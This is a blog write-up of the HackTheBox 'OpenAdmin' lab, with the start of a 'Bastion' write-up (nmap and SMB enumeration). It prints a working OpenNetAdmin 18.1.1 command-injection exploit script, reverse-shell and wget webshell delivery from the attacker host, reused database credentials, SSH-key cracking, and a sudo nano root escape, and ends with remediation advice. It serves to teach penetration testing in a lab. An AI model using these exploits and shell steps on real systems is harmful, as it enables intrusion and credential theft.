The exploit code is shown below:

# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: (https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: (https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux

#!/bin/bash

URL="${1}"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

It looks like the URL is specified as a single argument, and then ajax is used to gain RCE vai the ping command. Testing the script with the URL of the ona site, we find we’re provided with a www-data shell, as shown below.

Let’s start a listener with nc -lvnp 1234 and try to spawn a more standard shell. As always, be sure to substitute your appropriate IP and port. We’ll use a PHP reverse shell at /usr/share/webshells/php/php-reverse-shell.php. I’ve named it shell.PHP and changed my port appropriately, as shown below:

initinfosec@kali:/0ps/HTB/openadmin/exploit$ grep CHANGE shell.php
$ip = '10.10.14.6';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

We can use python to host the shell locally, with sudo python3 -m http.server 80. Running a “pwd” command, we see we’re in /opt/ona/www, so the shell.php file will probably be after the /ona file. Let’s use wget on the target shell from the RCE exploit to download the shell.

$ wget http://10.10.14.6/shell.php

Going to openadmin.htb/ona/shell.php, we receive the telltale loading that likely indicates our webshell is being executed. Going to our listener, we see we’ve received a more standard shell as the www-data user, as shown below.

Lateral movement

It loosk like we don’t have permission to the user.txt file, so let’s see if we can laterally move. From the /etc/passwd file we see two users that look like non-system accounts: joanna and jimmy:

joanna:x:1001:1001:,,,:/home/joanna:/bin/bash
jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash

Some browsing around the ona directory shows two potentially interesting config files shown below, but neither appear to have credentials.

www-data@openadmin:/opt/ona/www/config$ ls
ls
auth_ldap.config.php  config.inc.php

However, some more poking around shows another directory with a database config file, also shown below.

www-data@openadmin:/opt/ona/www/local/config$ cat database_settings.inc.php
cat database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

?>

These crendentials appear to be successful, allowing us to authenticate to and query the database.

?>www-data@openadmin:/opt/ona/www/local/config$ mysql -u ona_sys -p
mysql -u ona_sys -p
Enter password: n1nj4W4rri0R!

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 114
Server version: 5.7.28-0ubuntu0.18.04.4 (Ubuntu)

Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| ona_default        |
+--------------------+
2 rows in set (0.00 sec)

mysql> use ona_default;
use ona_default;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> 

Searching the ona_default database, we can select all from the users table, seeing the following:

mysql> select * from users;
select * from users;
+----+----------+----------------------------------+-------+---------------------+---------------------+
| id | username | password                         | level | ctime               | atime               |
+----+----------+----------------------------------+-------+---------------------+---------------------+
|  1 | guest    | 098f6bcd4621d373cade4e832627b4f6 |     0 | 2020-08-31 19:57:11 | 2020-08-31 19:57:11 |
|  2 | admin    | 21232f297a57a5a743894a0e4a801fc3 |     0 | 2007-10-30 03:00:17 | 2007-12-02 22:10:26 |
+----+----------+----------------------------------+-------+---------------------+---------------------+

Looking up these hashes on crackstation.net, we see guest’s password is “test” and admin’s password is “admin.”

Trying the database password on both Joanna and Jimmy’s account, we see that we are able to successfully login as Jimmy, inidcating that credential re-use occured.

Now as the Jimmy user, we can go back and check out something interesting a noticed while poking around as the www-data user - in /var/www there is a folder named “internal” which the www-data user did not have access to. Jimmy appears to, and it seems to owned by the “internal” group.

jimmy@openadmin:/var/www$ ls -ltra
ls -ltra
total 16
drwxr-xr-x 14 root     root     4096 Nov 21  2019 ..
lrwxrwxrwx  1 www-data www-data   12 Nov 21  2019 ona -> /opt/ona/www
drwxr-xr-x  6 www-data www-data 4096 Nov 22  2019 html
drwxr-xr-x  4 root     root     4096 Nov 22  2019 .
drwxrwx---  2 jimmy    internal 4096 Nov 23  2019 internal

jimmy@openadmin:/var/www$ groups
groups
jimmy internal

In this directory we see a few interesting files:

jimmy@openadmin:/var/www/internal$ ls -ltra
ls -ltra
total 20
drwxr-xr-x 4 root  root     4096 Nov 22  2019 ..
-rwxrwxr-x 1 jimmy internal 3229 Nov 22  2019 index.php
-rwxrwxr-x 1 jimmy internal  185 Nov 23  2019 logout.php
-rwxrwxr-x 1 jimmy internal  339 Nov 23  2019 main.php
drwxrwx--- 2 jimmy internal 4096 Nov 23  2019 .

On main.php, we see the following:

jimmy@openadmin:/var/www/internal$ cat main.php
cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

On the index.php file we see the following interesting (trimmed with just a portion of the page showing.):

    <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758$
ebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }

So it seems we may be able to view Joanna’s SSH key if we can have access to the internal section/pages

A Slight Misstep

We don’t appear to have permissions to copy the internal directory to a public www directory. We can however serve the files using python, just as we’ve done from our kali system:

jimmy@openadmin:/var/www/internal$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) 

Visiting the port on which the content is served, we can now see the files:

From here we can download the files locally, and back as the www-data user, copy the to the ona directory. Once downloaded to the local kali system, we can use wget again from the target as www-data to place them in the /ona/www directory, like so:

$ wget http://10.10.14.6/main.php
--2020-08-31 20:38:56--  http://10.10.14.6/main.php
Connecting to 10.10.14.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 339 [application/octet-stream]
Saving to: 'main.php'

     0K                                                       100% 3.20M=0s

2020-08-31 20:38:56 (3.20 MB/s) - 'main.php' saved [339/339]

$ wget http://10.10.14.6/index.php
--2020-08-31 20:39:07--  http://10.10.14.6/index.php
Connecting to 10.10.14.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3229 (3.2K) [application/octet-stream]
Saving to: 'index.php.1'

     0K ...                                                   100%  627M=0s

2020-08-31 20:39:07 (627 MB/s) - 'index.php.1' saved [3229/3229]

$  

Now, going to http://10.10.10.171/ona/index.php.1 we’re presented with a login prompt indicating the PHP code is properly executing. From looking at the code earlier, it looks like we need to be the jimmy user, so let’s enter his username and ninja password and see if that works.

However, trying to login, it seems this fail to load correctly.

Continuing Lateral movement

Wondering if the interal web content was already served locally somewhere, we can go back the check netstat, and see that port 52486 is running on localhost only:

jimmy@openadmin:/var/www$ netstat -alno
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer
tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:52846         0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      off (0.00/0/0)
[trimmed]

Unfortunately netstat doesn’t show the process tied to the port, so we can’t confirm from that command if httpd/apache or another webserver is running on that port. HOwever, we can try to use SSH to port forward this locally, and see if we have any luck accessing it:

initinfosec@kali:/HTB/openadmin/loot$ ssh -L :52846:localhost:52846 jimmy@openadmin.htb
jimmy@openadmin.htb's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
                                      
 * Documentation:  (https://help.ubuntu.com
 * Management:     (https://landscape.canonical.com                                                                                                       
 * Support:        (https://ubuntu.com/advantage

  System information as of Mon Aug 31 21:00:44 UTC 2020

Looks like it works as we’re again presented with this page:

However, entering the password found for the database (n1nj4W4rri0R!) doesn’t allow us to login, indicating either the auth function is failing, or the password is different than the one we’ve seen in the database and that works for the login to the system itself. But curling the page locally, we see the following, indicating the PHP script doesn’t do proper validation. This is probably because the PHP script doesn’t have a die function, indicating that regardless of authentication, the rest of the script will still continue, instead of quitting.

immy@openadmin:~$ curl http://localhost:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

Another possibility is that since the files are editable by the ‘jimmy’ user, we may be able to replace the hash within index.php with one known to us. We know that index.php contains a sha512 hash, so let’s create a new one of the string “ninjas2020”

initinfosec@kali:/HTB/openadmin/loot$ echo -n ninjas2020 | sha512sum
35e6596e87d0c59c2c0005c6a21e46bf5cec29d54db8843d272983dba08b7303ceb73887920ee87d8e809e3b5ed66f66ddc43904b1c9de80262647711a468614  -

Keep in mind this would be extremely noisy in the reael world, but we can go ahead and replace the hash, so that index.php ends up looking like the following (only the relevant changed portion shown below):

     <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '35e6596e87d0c59c2c0005c6a21e46bf5cec29d54db8843d272983dba08b7303ceb73887920ee87d8e809e3b5ed66f66ddc43904b1c9de80262647711a468614') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
         ?>

Now we can go back to the forwarded internal web server, enter the password at the index.php page at http://localhost:52846/index.php, and we find it indeed worked using “jimmy / ninjas2020” to login. Once logged in, we’re directed to main.php as expected and see the following:

From here, we can save the key file, and then use john2ssh, a python script with john the ripper to create a hash from the encrypted SSH key in order to crack the password, as shown below:

initinfosec@kali:/HTB/openadmin/loot$ cat joanna-ssh
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
initinfosec@kali:/0ps/HTB/openadmin/loot$ python /usr/share/john/ssh2john.py joanna-ssh > joanna.hash
initinfosec@kali:/0ps/HTB/openadmin/loot$ john -wordlist:/usr/share/wordlists/rockyou.txt joanna.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (julia-ssh)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:09 DONE (2020-08-31 19:01) 0.1078g/s 1547Kp/s 1547Kc/s 1547KC/sa6_123..*7¡Vamos!
Session completed

Ah, so now we see what was meant by the ‘Don’t forget your ninjas password” bit - the password appears to be ‘bloodninjas.’ Smartly, the key password is not shared with the user password, so the bloodninjas password does not work to do su - joanna or for password-based SSH login. However, simply providing the password as an identify file to ssh using the -i argument, we can connect to the server as joanna, as shown below:

We can now grab the user.txt and proceed to trying to gain root.

Privilege Escalation

PrivEsc Enumeration

The first thing we ran to enumerate when gaining this new user shell turns up some interesting results - it seems joanna has sudo NOPASSWD privileges to run nano against a file /opt/priv.

We see the following information about the sudo version on the system:

joanna@openadmin:~$ sudo -V
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2

Gaining a root shell

We also see from GTFObins that nano can be used in a shell escape, following the below general format:

sudo nano
^R^X
reset; sh 1>&0 2>&0

Running sudo nano /opt/priv and then entering Ctrl+R then Ctrl+X brings us to a command execution screen in nano.

Running reset; sh 1>&0 2>&0. in the command bar and selecting enter then spawns a root shell, as evidenced below.

Conclusion

Recommended Remediations

Recommended to disallow guest authentication in the openadmin application. Recommeneded to set the application behind a password login, if possible.
Recommended to patch the OpenNetAdmin application to address the Remote Code Execution (RCE) vulnerability present in the version running on the target which was exploited during the test.
It’s strongly advised to not store sensitive information such as private SSH keys on a webserver. If a user has local access, they may be able to view the information even where not intended, such as when port forwarding was used during the engagement.
Perform regular account privilege audits - consider if Joanna needs sudo access to nanno to edit the /opt/priv file - consider instead to modify the permissions of the opt priv file to allow Joanna to edit the file without giving sudo permissions to the nano editor application which could potentially abused to escalate privileges.

All for now; until next time.

~@initinfosec

Breaking Through a Bastion - HacktheBox 'Bastion' writeup

Fri, 28 Aug 2020 12:00:00 -0500

Breaking Through a Bastion - HacktheBox ‘Bastion’ writeup

Host Information

Hostname	IP Address	Operating System	Difficulty Level
Bastion	10.10.10.134	Windows	Easy

view all writeups here

Breaking Through a Bastion - HacktheBox ‘Bastion’ writeup

Initial Recon

nmap information

An initial full TCP nmap scan of the host was run with the followiong command:

nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/HTB/mango/scans/_full_tcp_nmap.txt" -oX "/HTB/mango/scans/xml/_full_tcp_nmap.xml" 10.10.10.162

The following ports were revealed open on the target, followed by the full nmap script ouput below:

10.10.10.134

Port	State	Service	Version
22/tcp	open	ssh	OpenSSH for_Windows_7.9
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
445/tcp	open	microsoft-ds	Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp	open	http	Microsoft HTTPAPI httpd 2.0
47001/tcp	open	http	Microsoft HTTPAPI httpd 2.0
49664/tcp	open	msrpc	Microsoft Windows RPC
49665/tcp	open	msrpc	Microsoft Windows RPC
49666/tcp	open	msrpc	Microsoft Windows RPC
49667/tcp	open	msrpc	Microsoft Windows RPC
49668/tcp	open	msrpc	Microsoft Windows RPC
49669/tcp	open	msrpc	Microsoft Windows RPC
49670/tcp	open	msrpc	Microsoft Windows RPC

nmap scan output

# Nmap 7.80 scan initiated Thu Aug 27 21:43:47 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /0ps/HTB/bastion/scans/_full_tcp_nmap.txt -oX /0ps/HTB/bastion/scans/xml/_full_tcp_nmap.xml 10.10.10.134
Nmap scan report for 10.10.10.134
Host is up, received user-set (0.042s latency).
Scanned at 2020-08-27 21:43:48 CDT for 115s
Not shown: 65522 closed ports
Reason: 65522 resets
PORT      STATE SERVICE      REASON          VERSION
22/tcp    open  ssh          syn-ack ttl 127 OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3bG3TRRwV6dlU1lPbviOW+3fBC7wab+KSQ0Gyhvf9Z1OxFh9v5e6GP4rt5Ss76ic1oAJPIDvQwGlKdeUEnjtEtQXB/78Ptw6IPPPPwF5dI1W4GvoGR4MV5Q6CPpJ6HLIJdvAcn3isTCZgoJT69xRK0ymPnqUqaB+/ptC4xvHmW9ptHdYjDOFLlwxg17e7Sy0CA67PW/nXu7+OKaIOx0lLn8QPEcyrYVCWAqVcUsgNNAjR4h1G7tYLVg3SGrbSmIcxlhSMexIFIVfR37LFlNIYc6Pa58lj2MSQLusIzRoQxaXO4YSp/dM1tk7CN2cKx1PTd9VVSDH+/Nq0HCXPiYh3
|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBF1Mau7cS9INLBOXVd4TXFX/02+0gYbMoFzIayeYeEOAcFQrAXa1nxhHjhfpHXWEj2u0Z/hfPBzOLBGi/ngFRUg=
|   256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB34X2ZgGpYNXYb+KLFENmf0P0iQ22Q0sjws2ATjFsiN
135/tcp   open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds syn-ack ttl 127 Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp  open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
Aggressive OS guesses: Microsoft Windows Server 2016 build 10586 - 14393 (96%), Microsoft Windows Server 2016 (95%), Microsoft Windows 10 (93%), Microsoft Windows 10 1507 (93%), Microsoft Windows 10 1507 - 1607 (93%), Microsoft Windows 10 1511 (93%), Microsoft Windows Server 2012 (93%), Microsoft Windows Server 2012 R2 (93%), Microsoft Windows Server 2012 R2 Update 1 (93%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (93%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=8/27%OT=22%CT=1%CU=39127%PV=Y%DS=2%DC=T%G=Y%TM=5F486FD
OS:7%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10E%TI=I%CI=I%II=I%SS=S%TS=
OS:A)SEQ(SP=105%GCD=1%ISR=10E%TI=I%CI=I%II=I%TS=A)OPS(O1=M54DNW8ST11%O2=M54
OS:DNW8ST11%O3=M54DNW8NNT11%O4=M54DNW8ST11%O5=M54DNW8ST11%O6=M54DST11)WIN(W
OS:1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%
OS:O=M54DNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%
OS:T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD
OS:=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S
OS:=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R
OS:=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%
OS:RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Uptime guess: 0.003 days (since Thu Aug 27 21:41:30 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -37m12s, deviation: 1h09m14s, median: 2m45s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 47074/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 26941/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 10709/udp): CLEAN (Failed to receive data)
|   Check 4 (port 18741/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2020-08-28T04:48:23+02:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-08-28T02:48:21
|_  start_date: 2020-08-28T02:44:30

TRACEROUTE (using port 554/tcp)
HOP RTT      ADDRESS
1   41.84 ms 10.10.14.1
2   41.91 ms 10.10.10.134

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 27 21:45:43 2020 -- 1 IP address (1 host up) scanned in 116.43 seconds

nmap scan observations

We can see that the target is Windows, likely Server 2016 based on the OS detection scripts from nmap and the SMB services. A number of ports and services are found to be externally visible, 13 in total. Seven of these are higher ports which appear to be MSRPC services. Of particular interest is that OpenSSH for Windows 7.9 is shown running on SSH’s standard TCP port 22. This software is nonstandard, so definitely worth a note. an MS RPC service is running on the standard TCP port 135. as well as netbios-ssn/SMB on standard port 139. SMB is also running on the standard TCP port 445. Addiitonally two HTTAPI 2.0 services are shown running on ports 5985 and 47001

SMB, NetBIOS, and RPC Enumeration

Let’s begin with enumeration of the netBIOS, RPC, and SMB services on 135, 139, and 445. We see a share listing by running smbclient against the target, with the results shown below.

initinfosec@kali:/0ps/HTB/bastion/scans$ smbclient -L\\ -N -I 10.10.10.134

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        Backups         Disk      
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
